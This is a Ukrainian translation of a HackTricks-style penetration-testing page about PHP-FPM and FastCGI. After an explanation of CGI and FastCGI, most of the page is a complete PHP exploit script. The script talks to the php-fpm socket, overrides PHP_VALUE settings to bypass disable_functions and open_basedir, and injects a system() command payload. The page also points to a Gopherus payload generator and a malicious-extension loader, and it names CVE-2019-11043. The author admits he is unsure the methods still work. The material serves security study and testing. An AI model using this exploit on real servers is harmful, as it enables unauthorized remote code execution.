PHP-FPM представлений як перевага над стандартним PHP FastCGI, пропонуючи функції, які особливо корисні для веб-сайтів з високим трафіком. Він працює через майстер-процес, який контролює колекцію робочих процесів. Для запиту PHP-скрипта веб-сервер ініціює FastCGI проксі-з'єднання з сервісом PHP-FPM. Цей сервіс має можливість отримувати запити або через мережеві порти на сервері, або через Unix-сокети.
Незважаючи на проміжну роль проксі-з'єднання, PHP-FPM повинен працювати на тій же машині, що й веб-сервер. З'єднання, яке він використовує, хоча й базується на проксі, відрізняється від звичайних проксі-з'єднань. Після отримання запиту доступний робочий процес з PHP-FPM обробляє його — виконує PHP-скрипт, а потім передає результати назад до веб-сервера. Після завершення обробки запиту робочий процес знову стає доступним для наступних запитів.
Але що таке CGI та FastCGI?
CGI
Зазвичай веб-сторінки, файли та всі документи, які передаються з веб-сервера до браузера, зберігаються в певному публічному каталозі, наприклад home/user/public_html. Коли браузер запитує певний контент, сервер перевіряє цей каталог і надсилає потрібний файл до браузера.
Якщо CGI встановлено на сервері, специфічний каталог cgi-bin також додається туди, наприклад home/user/public_html/cgi-bin. CGI-скрипти зберігаються в цьому каталозі. Кожен файл у каталозі розглядається як виконувана програма. Коли доступ до скрипта з каталогу, сервер надсилає запит до програми, відповідальної за цей скрипт, замість того, щоб надсилати вміст файлу до браузера. Після завершення обробки вхідних даних програма надсилає вихідні дані до веб-сервера, який передає дані HTTP-клієнту.
Наприклад, коли доступ до CGI-скрипта http://mysitename.com/cgi-bin/file.pl відбувається, сервер запустить відповідну Perl-програму через CGI. Дані, згенеровані під час виконання скрипта, будуть надіслані програмою до веб-сервера. Сервер, у свою чергу, передасть дані до браузера. Якщо б сервер не мав CGI, браузер відобразив би .pl код файлу. (пояснення з тут)
FastCGI
FastCGI — це новіша веб-технологія, покращена версія CGI, оскільки основна функціональність залишається такою ж.
Необхідність розробки FastCGI виникла через швидкий розвиток і складність додатків, а також для вирішення проблем масштабованості технології CGI. Щоб задовольнити ці вимоги, Open Market представила FastCGI — версію CGI-технології з високою продуктивністю з покращеними можливостями.
disable_functions bypass
Можливо виконати PHP-код, зловживаючи FastCGI та уникаючи обмежень disable_functions.
Via Gopherus
Я не впевнений, чи це працює в сучасних версіях, оскільки я пробував один раз, і нічого не виконалося. Будь ласка, якщо у вас є більше інформації про це, зв'яжіться зі мною через [PEASS & HackTricks telegram group here](https://t.me/peass), або twitter [@carlospolopm](https://twitter.com/hacktricks_live).
Використовуючи Gopherus, ви можете згенерувати корисне навантаження для надсилання до FastCGI слухача та виконати довільні команди:
Завантажуючи та отримуючи доступ до цього скрипту, експлойт буде надіслано до FastCGI (вимкнення disable_functions), і виконуються вказані команди.
PHP експлойт
Я не впевнений, чи це працює в сучасних версіях, оскільки я пробував один раз, і не зміг нічого виконати. Насправді, я зміг побачити, що phpinfo() з виконання FastCGI вказувало, що disable_functions було порожнім, але PHP (якимось чином) все ще заважав мені виконувати будь-яку раніше вимкнену функцію. Будь ласка, якщо у вас є більше інформації про це, зв'яжіться зі мною через [PEASS & HackTricks telegram group here](https://t.me/peass), або twitter [@carlospolopm](https://twitter.com/hacktricks_live).
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request =$this->buildPacket(self::BEGIN_REQUEST,chr(0).chr(self::RESPONDER).chr((int) $this->_keepAlive).str_repeat(chr(0),5));$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything$php_value ="disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
Використовуючи попередню функцію, ви побачите, що функція systemвсе ще вимкнена, але phpinfo() показує disable_functionsпорожнім:
Отже, я думаю, що ви можете встановити disable_functions лише через php .ini конфігураційні файли, і PHP_VALUE не переопреділяє цю настройку.
Це php-скрипт для експлуатації протоколу fastcgi для обходу open_basedir та disable_functions.
Це допоможе вам обійти суворі disable_functions для RCE, завантажуючи шкідливе розширення.
Ви можете отримати доступ до нього тут: https://github.com/w181496/FuckFastcgi або трохи модифіковану та покращену версію тут: https://github.com/BorelEnzo/FuckFastcgi
Ви виявите, що експлойт дуже схожий на попередній код, але замість того, щоб намагатися обійти disable_functions, використовуючи PHP_VALUE, він намагається завантажити зовнішній PHP модуль для виконання коду, використовуючи параметри extension_dir та extension всередині змінної PHP_ADMIN_VALUE.
NOTE1: Вам, ймовірно, потрібно буде перекомпілювати розширення з тою ж версією PHP, яку використовує сервер (ви можете перевірити це виводі phpinfo):
NOTE2: Мені вдалося змусити це працювати, вставивши значення extension_dir та extension всередину PHP .ini конфігураційного файлу (щось, що ви не зможете зробити, атакуючи сервер). Але з якоїсь причини, коли я використовував цей експлойт і завантажував розширення з змінної PHP_ADMIN_VALUE, процес просто зупинився, тому я не знаю, чи ця техніка все ще дійсна.
PHP-FPM Вразливість віддаленого виконання коду (CVE-2019–11043)